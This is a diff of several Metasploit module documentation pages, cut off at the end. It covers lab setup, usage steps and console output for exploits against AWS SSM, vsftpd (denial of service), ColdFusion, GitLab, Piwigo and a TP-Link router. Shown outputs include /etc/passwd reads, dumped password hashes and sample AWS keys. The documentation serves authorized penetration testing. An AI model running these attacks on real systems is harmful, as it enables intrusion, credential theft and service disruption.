## Advanced Options
|
||||
|
||||
### CreateSession
|
||||
|
||||
Create a new session for every successful login.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Enumerating EC2 instances in the US-East-2 region and opening a session on each one (`CreateSession` is True).
|
||||
|
||||
```
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) > set ACCESS_KEY_ID AKIAO5WK2W9TMZT7EAM5
|
||||
ACCESS_KEY_ID => AKIAO5WK2W9TMZT7EAM5
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) > set SECRET_ACCESS_KEY pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo
|
||||
SECRET_ACCESS_KEY => pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) > run
|
||||
|
||||
[*] Checking us-east-2...
|
||||
[+] Found AWS SSM host i-02cd668d50587bdcf (ip-172-31-42-215.us-east-2.compute.internal) - 172.31.42.215
|
||||
[*] AWS SSM command shell session 3 opened (192.168.250.134:39005 -> 172.31.42.215:0) at 2023-05-22 16:43:03 -0400
|
||||
[+] Found AWS SSM host i-074187bde1453613a (EC2AMAZ-HM7U6TS.WORKGROUP) - 172.31.44.170
|
||||
[*] AWS SSM command shell session 4 opened (192.168.250.134:37231 -> 172.31.44.170:0) at 2023-05-22 16:43:05 -0400
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) >
|
||||
```
|
||||
@@ -0,0 +1,159 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This is an auxiliary for DOSing a VSFTPD server from version 2.3.2 and below. The
|
||||
vulnerability has been directly tested on versions 2.3.0, 2.3.1, and 2.3.2 and have
|
||||
shown success.
|
||||
|
||||
VSFTPD is a popular ftp server written in C. The vulnerability causes a DOS on
|
||||
the service by leveraging a long recursive glob statement on the server. When
|
||||
we fill the 4096 character buffer with this recursive glob search, it makes the
|
||||
current thread spend all of that time unwinding that glob statement which can
|
||||
use up all the resources on that core. Sending this glob on all threads leave no
|
||||
availability for anyone else to access the server while taking up all of the CPU
|
||||
resources of the machine.
|
||||
|
||||
## Options
|
||||
|
||||
### FTPUSER
|
||||
The username used to log into the FTP server
|
||||
|
||||
### FTPPASS
|
||||
The password used to log into the FTP server
|
||||
|
||||
### Install on Arch Linux
|
||||
|
||||
The software has been tested on multiple versions using arch linux. To create an
|
||||
installable package for the vulnerable software to test, follow these instructions.
|
||||
|
||||
1. Clone the source repository using `git clone https://gitlab.archlinux.org/archlinux/packaging/packages/vsftpd.git`
|
||||
2. Replace the contents of the PKGBUILD with this
|
||||
|
||||
```pkgbuild
|
||||
pkgname=vsftpd
|
||||
pkgver=2.3.2
|
||||
pkgrel=1
|
||||
pkgdesc='Very Secure FTP daemon'
|
||||
url='https://security.appspot.com/vsftpd.html'
|
||||
arch=('x86_64')
|
||||
license=('GPL2')
|
||||
depends=('glibc' 'openssl' 'libcap' 'pam' 'libnsl')
|
||||
optdepends=('logrotate')
|
||||
backup=('etc/vsftpd.conf'
|
||||
'etc/xinetd.d/vsftpd'
|
||||
"etc/logrotate.d/vsftpd")
|
||||
source=(https://security.appspot.com/downloads/${pkgname}-${pkgver}.tar.gz
|
||||
vsftpd-ssl.socket
|
||||
vsftpd.socket
|
||||
vsftpd.service
|
||||
vsftpd@.service
|
||||
vsftpd-ssl.service
|
||||
vsftpd-ssl@.service)
|
||||
sha256sums=('SKIP'
|
||||
'd5185e48fffc6253499a55e0fe0f90a3424fc639640af11a9d38df33fb145afe'
|
||||
'9fdbfd2ec0207170371ca3cf2b0ddca2dc2fe3d062e5792e0d3e51474c3198c9'
|
||||
'0597e571718ba0f4dc4b32a4ddd148103758c48c7d65dcb8bbedafc9e810e83d'
|
||||
'd7b8e4827d4f6bafcbf52f9d2d7380958c7b08bb3f757806aa89d4bc06c9671c'
|
||||
'b88a50fc68b3bf746d13c9a777df77791cd3eac6eb7c2df655418071c2adf422'
|
||||
'4a55c2468b08d858f71bacf1f4885847bec8e548b0e92088068d9bdd3884af84')
|
||||
|
||||
prepare() {
|
||||
cd ${pkgname}-${pkgver}
|
||||
# build-time config
|
||||
sed -e 's|^#undef VSF_BUILD_SSL$|#define VSF_BUILD_SSL|' -i builddefs.h
|
||||
sed -e 's|/usr/share/empty|/var/empty|g' -i tunables.c vsftpd.conf.5 INSTALL
|
||||
sed -e 's|/usr/local/sbin/vsftpd|/usr/bin/vsftpd|' -i EXAMPLE/INTERNET_SITE/${pkgname}.xinetd
|
||||
|
||||
# fix linking to openssl 1.1
|
||||
sed -e 's|SSL_library_init|SSL_CTX_new|' -i vsf_findlibs.sh
|
||||
}
|
||||
|
||||
build() {
|
||||
cd ${pkgname}-${pkgver}
|
||||
make LINK='' CFLAGS="${CFLAGS} ${CPPFLAGS}" LDFLAGS="${LDFLAGS}"
|
||||
}
|
||||
|
||||
package() {
|
||||
cd ${pkgname}-${pkgver}
|
||||
|
||||
install -Dm 755 ${pkgname} -t "${pkgdir}/usr/bin"
|
||||
install -dm 755 "${pkgdir}/var/empty"
|
||||
install -Dm 644 "${srcdir}"/{*.service,*.socket} -t "${pkgdir}/usr/lib/systemd/system"
|
||||
|
||||
install -Dm 644 ${pkgname}.conf -t "${pkgdir}/etc"
|
||||
install -Dm 644 EXAMPLE/INTERNET_SITE/${pkgname}.xinetd "${pkgdir}/etc/xinetd.d/${pkgname}"
|
||||
install -Dm 644 RedHat/vsftpd.log "${pkgdir}/etc/logrotate.d/${pkgname}"
|
||||
install -Dm 644 RedHat/vsftpd.pam "${pkgdir}/etc/pam.d/${pkgname}"
|
||||
|
||||
install -Dm 644 ${pkgname}.8 -t "${pkgdir}/usr/share/man/man8"
|
||||
install -Dm 644 ${pkgname}.conf.5 -t "${pkgdir}/usr/share/man/man5"
|
||||
install -Dm 644 BENCHMARKS BUGS Changelog FAQ INSTALL README README.ssl REFS \
|
||||
REWARD SPEED TODO TUNING -t "${pkgdir}/usr/share/doc/${pkgname}"
|
||||
}
|
||||
```
|
||||
|
||||
3. If you want to test a different version, Change the version variable to your
|
||||
desired version.
|
||||
4. Run `makepkg -i` to build the package and automatically install it.
|
||||
5. Start the systemd service with `sudo systemctl start vsftpd`
|
||||
|
||||
### Docker install on Arch Linux
|
||||
|
||||
A simple container was created to easily test this vulnerability. To easily run a
|
||||
vulnerable instance of this application, build this image from this Dockerfile.
|
||||
|
||||
1. Create a `Dockerfile` and place the content below into it
|
||||
|
||||
```dockerfile
|
||||
FROM archlinux:latest
|
||||
ARG VERSION=2.3.2
|
||||
RUN pacman -Sy --noconfirm gcc make libnsl
|
||||
RUN curl -O https://security.appspot.com/downloads/vsftpd-$VERSION.tar.gz
|
||||
RUN tar zxf vsftpd-$VERSION.tar.gz
|
||||
WORKDIR /vsftpd-$VERSION
|
||||
RUN make
|
||||
RUN mkdir -p /usr/share/empty/
|
||||
RUN chmod +x /vsftpd-$VERSION/vsftpd
|
||||
RUN mv /vsftpd-$VERSION/vsftpd /bin/vsftpd
|
||||
RUN mv /vsftpd-$VERSION/vsftpd.conf /etc/vsftpd.conf
|
||||
RUN chown root:root /etc/vsftpd.conf
|
||||
EXPOSE 21
|
||||
CMD [ "/bin/vsftpd" ]
|
||||
```
|
||||
|
||||
2. Run `sudo docker build . -t vsftpd:2.3.2 --build-arg=2.3.2`
|
||||
3. Run `sudo docker run --name vsftpd -p 21:21 vsftpd:2.3.2`
|
||||
|
||||
Run the module against this container and the container will either slow down or crash entirely.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/dos/ftp/vstfpd_232`
|
||||
3. `set rhosts`
|
||||
4. `set ftpuser`
|
||||
5. `set ftppass`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VSFTPD 2.3.2 - Arch linux
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/dos/ftp/vsftpd_232
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106
|
||||
rhosts => 192.168.56.106
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > set ftpuser anonymous
|
||||
ftpuser => anonymous
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > set ftppass ''
|
||||
ftppass =>
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > run
|
||||
[*] Running module against 192.168.56.106
|
||||
|
||||
[*] 192.168.56.106:21 - sending payload
|
||||
.............................................................................................
|
||||
[+] 192.168.56.106:21 - Stream was cut off abruptly. Appears DOS attack succeeded.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
You can verify that it works by either attempting to ftp into the machine after or checking
|
||||
htop on the machine. If the CPU is at max capacity, that would be due to the DOS.
|
||||
@@ -0,0 +1,80 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an unauthenticated arbitrary file read vulnerability due to deserialization of untrusted data
|
||||
in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update
|
||||
15 and earlier. For a full technical analysis of the vulnerability read the
|
||||
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis).
|
||||
|
||||
## Options
|
||||
To successfully read back the contents of an arbitrary file, you must set the modules `CFC_ENDPOINT` option to a valid
|
||||
ColdFusion Component (CFC) endpoint on the target server. You must also set the `CFC_ENDPOINT` option to the name of a
|
||||
remote method from that `CFC_ENDPOINT`. While the vulnerability is triggered regardless of remote method begin invoked,
|
||||
in order for ColdFusion to emit the `TARGETFILE` contents in the HTTP response, the remote method invoked must return
|
||||
a result. If the CFC_METHOD requires parameters, they can be provided via the `CFC_METHOD_PARAMETERS` option. By default
|
||||
a CFC endpoint and method from the ColdFusion Administrator (CFIDE) are provided, which is accessible in many but not
|
||||
all configurations.
|
||||
|
||||
## Testing
|
||||
To setup a test environment, the following steps can be performed.
|
||||
1. Setup a Windows Server 2022 VM.
|
||||
2. Download the [ColdFusion 2021
|
||||
Update 5](https://cfdownload.adobe.com/pub/adobe/coldfusion/2021/cfinstaller/cf2021u5/ColdFusion_2021_GUI_WWEJ_win64.exe)
|
||||
installer and install it.
|
||||
3. Configure the ColdFusion server for production use and enable the Secure Profile during setup.
|
||||
4. If the default CFIDE endpoints are not accessible (e.g. The server is configured with a Secure profile), install a
|
||||
web application on top of ColdFusion in order to expose CFC endpoints. Alternatively, create a test CFC endpoint
|
||||
called `testing.cfc` in the `wwwroot` folder with the following contents:
|
||||
```
|
||||
component testing {
|
||||
|
||||
remote String function foo() {
|
||||
|
||||
return "Hello from foo";
|
||||
}
|
||||
}
|
||||
```
|
||||
5. Follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set CFC_ENDPOINT /testing.cfc`
|
||||
5. `set CFC_METHOD foo`
|
||||
6. Optionally `set CFC_METHOD_PARAMETERS param1=foo, param2=bar` if the CFC_METHOD requires parameters.
|
||||
7. `set TARGETFILE ../lib/password.properties`
|
||||
8. `set STORE_LOOT false` if you want to display file on the console instead of storing it as loot.
|
||||
9. `run`
|
||||
|
||||
## Scenarios
|
||||
### Adobe ColdFusion 2021 Update 5 on Windows Server 2022
|
||||
```
|
||||
msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > show options
|
||||
|
||||
Module options (auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CFC_ENDPOINT /testing.cfc yes The target ColdFusion Component (CFC) endpoint
|
||||
CFC_METHOD foo yes The target ColdFusion Component (CFC) remote method name
|
||||
CFC_METHOD_PARAMETERS no The target ColdFusion Component (CFC) remote method parameters
|
||||
(e.g. "param1=foo, param2=bar")
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.23.13.12 yes The target host(s), see https://docs.metasploit.com/docs/using
|
||||
-metasploit/basics/using-metasploit.html
|
||||
RPORT 8500 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STORE_LOOT false no Store the target file as loot
|
||||
TARGETFILE ../lib/password.properties yes The target file to read, relative to the wwwroot folder.
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > run
|
||||
[*] Running module against 172.23.13.12
|
||||
|
||||
[*] #Tue Mar 28 01:33:23 PDT 2023
|
||||
password=30160D97731079B7ACCF7BCFAD049FCCCA3F855318037AC09DC00FFD52A29F5C
|
||||
rdspassword=
|
||||
encrypted=true
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) >
|
||||
```
|
||||
@@ -0,0 +1,140 @@
|
||||
## Vulnerable Application
|
||||
|
||||
GitLab version 16.0 contains a directory traversal for arbitrary file read
|
||||
as the `gitlab-www` user. This module requires authentication for exploitation.
|
||||
In order to use this module, a user must be able to create a project and groups.
|
||||
When exploiting this vulnerability, there is a direct correlation between the traversal
|
||||
depth, and the depth of groups the vulnerable project is in. The minimum for this seems
|
||||
to be `5`, but up to `11` have also been observed. An example of this, is if the directory
|
||||
traversal needs a depth of `11`, a group
|
||||
and 10 nested child groups, each a sub of the previous, will be created (adding up to `11`).
|
||||
Visually this looks like:
|
||||
`Group1->child1->child2->child3->child4->child5->child6->child7->child8->child9->child10`.
|
||||
If the depth was `5`, a group and 4 nested child groups would be created.
|
||||
With all these requirements satisfied a dummy file is uploaded, and the full
|
||||
traversal is then executed. Cleanup is performed by deleting the first group which
|
||||
cascades to deleting all other objects created.
|
||||
|
||||
Tested on a Docker image of GitLab 16.0
|
||||
|
||||
### Install
|
||||
|
||||
A Docker image is available:
|
||||
|
||||
```
|
||||
sudo docker run --detach \
|
||||
--hostname gitlab.example.com \
|
||||
--publish 443:443 --publish 80:80 --publish 22:22 \
|
||||
--name gitlab \
|
||||
--restart always \
|
||||
--volume $GITLAB_HOME/config:/etc/gitlab \
|
||||
--volume $GITLAB_HOME/logs:/var/log/gitlab \
|
||||
--volume $GITLAB_HOME/data:/var/opt/gitlab \
|
||||
--shm-size 256m \
|
||||
gitlab/gitlab-ee:16.0.0-ee.0
|
||||
```
|
||||
|
||||
To retrieve the default password:
|
||||
|
||||
```
|
||||
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `set username [username]`
|
||||
1. DO: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. You should be able to read an arbitrary file.
|
||||
|
||||
## Options
|
||||
|
||||
### DEPTH
|
||||
|
||||
Depth for path traversal (also groups creation). 11 seems pretty safe but it may work with less. Defaults to `11`.
|
||||
|
||||
### FILE
|
||||
|
||||
File to read. Defaults to `/etc/passwd`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker GitLab 16.0
|
||||
|
||||
```
|
||||
[*] Processing gitlab.rb for ERB directives.
|
||||
resource (gitlab.rb)> use auxiliary/gather/gitlab_authenticated_subgroups_file_read
|
||||
resource (gitlab.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (gitlab.rb)> set username root
|
||||
username => root
|
||||
resource (gitlab.rb)> set password 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4=
|
||||
password => 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4=
|
||||
resource (gitlab.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (gitlab.rb)> exploit
|
||||
[*] Running module against 127.0.0.1
|
||||
[+] CSRF Token: dPAr4PTaCuwRU5-j-snq7FfX1V0qh7MoDguHWbUCXCPnwKK3azJXGaF5QxXjRtXkn2_ORLoEt8-NGf59fngrUg
|
||||
[*] Creating 11 groups
|
||||
[*] Creating group: GYS2KiLq
|
||||
[+] CSRF Token: RiloN6gmbtG6kHO55i7i0LFqaN38Bwd_EZCHW2Q9UcLVGeFgN84zJAq6rw__od3YedJzxGyEA5iSgv5_r0cmsw
|
||||
[*] Creating child group: YzJEBtNX with parent id: 2
|
||||
[+] CSRF Token: uSAAt3_f4qbQtpxzkyI-vefpmQhh3vxFtee7I1bmVxUqEIng4De_U2CcQMWKrQG1L1GCEfFd-KI29cIHnZwgZA
|
||||
[*] Creating child group: kl9AGSEx with parent id: 3
|
||||
[+] CSRF Token: ujc-Maz6zilT6D5fPjiq-s0CtVg9CYm43f71Eiu35I0pB7dmMxKT3OPC4uknt5XyBbquQa2KjV9e7Iw24M2T_A
|
||||
[*] Creating child group: 9QC5nfTB with parent id: 4
|
||||
[+] CSRF Token: mkDq3WQ7BdDAfiO_INXVAZ7UOeNPlHXJqx0_0TfqmgwJcGOK-9NYJXBU_wk5WuoJVmwi-t8XcS4oD0b1_JDtfQ
|
||||
[*] Creating child group: ssHxNX3y with parent id: 5
|
||||
[+] CSRF Token: -9mNSwNeTCTQ6EmVxDV4yAq1O7TvVbpvctLZJwO0d4Fo6QQcnLYR0WDClSPdukfAwg0grX_WvojxwKADyM4A8A
|
||||
[*] Creating child group: w7bktrEs with parent id: 6
|
||||
[+] CSRF Token: bnozD-CZzDp00QJ9Fx9pVEcwg6QO_1iykxrRUg17NIH9SrpYf3GRz8T73ssOkFZcj4iYvZ58XFUQCKh2xgFD8A
|
||||
[*] Creating child group: uU8ELnQm with parent id: 7
|
||||
[+] CSRF Token: l57r09_W7GDI5VXVZ5SS0BOatod1-HCZyZj2z3J_Ac8ErmKEQD6xlXjPiWN-G63Y2yKtnuV7dH5Kio_ruQV2vg
|
||||
[*] Creating child group: o23bujpZ with parent id: 8
|
||||
[+] CSRF Token: 81sCdo47UC5diIjdq_uquTFpMwzNDnV-mG9RprW-ACdga4shEdMN2-2iVGuydJWx-dEoFV2NcZkbfSiCfsR3Vg
|
||||
[*] Creating child group: A3ksDjIZ with parent id: 9
|
||||
[+] CSRF Token: SQAMHEjnus9-5Qk-leIXDxLUTDfpD6tfP5fTqgTodezaMIVL1w_nOs7P1YiMbSgH2mxXLnmMr7i8haqOz5ICnQ
|
||||
[*] Creating child group: fefAYofd with parent id: 10
|
||||
[+] CSRF Token: wAeXzAb4bFXWLnys1qQ1HCgXtwPplB9ACCdTliQbWTpTNx6bmRAxoGYEoBrPKwoU4K-sGnkXG6eLNSqy72EuSw
|
||||
[*] Creating child group: d9ojqIJp with parent id: 11
|
||||
[+] CSRF Token: Jmtw9u0oBZ-TbViSBqgoNaj5NI5hxeIhKb9SWtR-TL-1W_mhcsBYaiNHhCQfJxc9YEEvl_FG5saqrSt-HwQ7zg
|
||||
[*] Creating project WELLohsl
|
||||
[*] Creating a dummy file in project
|
||||
[*] Executing dir traversal
|
||||
[+] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
|
||||
git:x:998:998::/var/opt/gitlab:/bin/sh
|
||||
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
|
||||
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
|
||||
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
|
||||
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
|
||||
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
|
||||
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
|
||||
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
|
||||
|
||||
[+] /etc/passwd saved to /root/.msf4/loot/20230602160435_default_127.0.0.1_GitLabfile_635783.txt
|
||||
[*] Deleting group GYS2KiLq
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,132 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an authenticated SQL injection vulnerability
|
||||
caused by improper handling of user-supplied input in Piwigo (Photo Gallery).
|
||||
The vulnerability can be found in Piwigo version 13.5.0.
|
||||
By exploiting this vulnerability, an attacker can execute arbitrary SQL queries,
|
||||
potentially gaining unauthorized access to sensitive information or manipulating the database.
|
||||
For a detailed technical analysis of this vulnerability,
|
||||
please refer to the [https://github.com/advisories/GHSA-4xvf-3477-vq63](https://github.com/advisories/GHSA-4xvf-3477-vq63).
|
||||
|
||||
## Options
|
||||
|
||||
To successfully perform a SQL injection attack, you need to configure the module's `RHOSTS`
|
||||
option with a valid Piwigo endpoint (`TARGETURI`).
|
||||
Additionally, set the `USERNAME` option to specify the name of a privileged user and provide the corresponding `PASSWORD`.
|
||||
|
||||
## Testing
|
||||
|
||||
To setup a test environment, the following steps can be performed.
|
||||
|
||||
1. Install docker [https://docker.io](docker.io)
|
||||
2. Inside any directory create the dockerfile bellow:
|
||||
|
||||
```yaml
|
||||
FROM alpine:3.10.3
|
||||
LABEL maintainer="Moritz Heiber <hello@heiber.im>"
|
||||
|
||||
ENV PIWIGO_VERSION="13.5.0"
|
||||
RUN set -x && apk --no-cache add curl php7 php7-gd php7-mysqli php7-json php7-session php7-exif && \
|
||||
curl "http://piwigo.org/download/dlcounter.php?code=${PIWIGO_VERSION}" --output piwigo.zip && \
|
||||
adduser -h /piwigo -DS piwigo && unzip piwigo.zip -d /piwigo && \
|
||||
install -d -o piwigo /piwigo/piwigo/galleries /piwigo/piwigo/upload && \
|
||||
chown -R piwigo /piwigo/piwigo/local && \
|
||||
apk --no-cache del curl && rm piwigo.zip
|
||||
|
||||
WORKDIR /piwigo
|
||||
USER piwigo
|
||||
|
||||
CMD ["php","-S","0.0.0.0:8000","-t","piwigo"]
|
||||
```
|
||||
|
||||
3. Install `docker-compose` and create a file called `docker-compose.yml` with the following content:
|
||||
|
||||
```yaml
|
||||
version: '3'
|
||||
services:
|
||||
piwigo:
|
||||
container_name: piwigo
|
||||
image: piwigo-docker
|
||||
networks:
|
||||
- piwigo
|
||||
ports:
|
||||
- "8000:8000"
|
||||
mysql:
|
||||
container_name: piwigo_mysql
|
||||
image: mysql:8.0.18
|
||||
command: ["--default-authentication-plugin=mysql_native_password"]
|
||||
networks:
|
||||
- piwigo
|
||||
environment:
|
||||
MYSQL_USER: "piwigo"
|
||||
MYSQL_PASSWORD: "piwigo"
|
||||
MYSQL_DATABASE: "piwigo"
|
||||
MYSQL_RANDOM_ROOT_PASSWORD: "true"
|
||||
|
||||
networks:
|
||||
piwigo:
|
||||
```
|
||||
|
||||
4. Execute the commands `docker build -t piwigo-docker .` and `docker-compose up -d`
|
||||
inside the folder that contains the `docker-compose.yml` and `Dockerfile` files.
|
||||
5. Then Piwigo's installation page should be available at http://localhost:8000
|
||||
6. Setup the database with `mysql` as url of database, **piwigo** as `username` **piwigo** as `password`
|
||||
7. Login as priviledge user and create any photo album and upload any photo to that album.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Use the `auxiliary/gather/piwigo_cve_2023_26876 module`.
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. Set the `TARGETURI` option to the target HTTP path
|
||||
5. Set the `USERNAME` option to piwigo.
|
||||
6. Set the `PASSWORD` option to piwigo.
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Piwigo SQL Injection
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/piwigo_cve_2023_26876) > show options
|
||||
|
||||
Module options (auxiliary/gather/piwigo_cve_2023_26876):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD piwigo yes The password for authenticating to Piwigo
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to Piwigo
|
||||
USERNAME piwigo yes The username for authenticating to Piwigo
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/piwigo_cve_2023_26876) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. The target is running Piwigo with version 13.5.0
|
||||
[*] Try to log in..
|
||||
[+] Successfully logged into Piwigo
|
||||
[+] Target is vulnerable
|
||||
[*] Dump of usernames and hashes:
|
||||
|
||||
Piwigo Users
|
||||
============
|
||||
|
||||
username hash
|
||||
-------- ----
|
||||
admin $P$GAO2fLIGJtRyQCNf96KbQ9PeiDAuii/
|
||||
guest
|
||||
piwigo $P$GNrJljahQW2NXTXhWNZdalgGiao/T1/
|
||||
test1 $P$G2HB46S.PMs5gExCAfXCMUW2p1HwA60
|
||||
user $P$GE/wX1wqKM0WKkAGXvhYihdPhgl5Mw/
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/piwigo_cve_2023_26876) >
|
||||
```
|
||||
@@ -0,0 +1,58 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to spider files from an archer c7 router using a known traversal
|
||||
vulnerability
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
|
||||
This option sets what file you want to collect from the router.
|
||||
|
||||
### SAVE
|
||||
|
||||
Use this option to save the file found as loot
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/gather/tplink_archer_c7_traversal`
|
||||
2. `set RHOSTS <addr>`
|
||||
3. `set FILE <file>`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Archer C7_V1_141204_US
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/tplink_archer_c7_traversal
|
||||
msf6 auxiliary(gather/tplink_archer_c7_traversal) > set rhosts 192.168.0.1
|
||||
rhosts => 192.168.0.1
|
||||
msf6 auxiliary(gather/tplink_archer_c7_traversal) > run
|
||||
[*] Running module against 192.168.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target device 'Archer C7'
|
||||
[*] Grabbing data at /login/../../../etc/passwd
|
||||
[+] /etc/passwd retrieved
|
||||
root:x:0:0:root:/root:/bin/sh
|
||||
Admin:x:0:0:root:/root:/bin/sh
|
||||
bin:x:1:1:bin:/bin:/bin/sh
|
||||
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
|
||||
adm:x:3:4:adm:/adm:/bin/sh
|
||||
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
|
||||
sync:x:5:0:sync:/bin:/bin/sync
|
||||
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
|
||||
halt:x:7:0:halt:/sbin:/sbin/halt
|
||||
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
|
||||
operator:x:11:0:Operator:/var:/bin/sh
|
||||
nobody:x:65534:65534:nobody:/home:/bin/sh
|
||||
ap71:x:500:0:Linux Usermmm:/root:/bin/sh
|
||||
admin:x:500:500:admin:/home:/bin/sh
|
||||
guest:x:500:500:guest:/home:/bin/sh
|
||||
root:x:0:0:root:/root:/bin/sh
|
||||
admin:x:500:500:admin:/tmp/dropbear:/bin/sh
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -2,7 +2,35 @@
|
||||
|
||||
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
|
||||
### Docker setup
|
||||
1. `docker run -p 5984:5984 --env COUCHDB_USER=admin --env COUCHDB_PASSWORD=password apache/couchdb:3.3.1`
|
||||
After running this command you will see the server is returning errors, to resolve this we must run some cURL commands.
|
||||
|
||||
2. In another window, after startup, run the following three cURL commands:
|
||||
```
|
||||
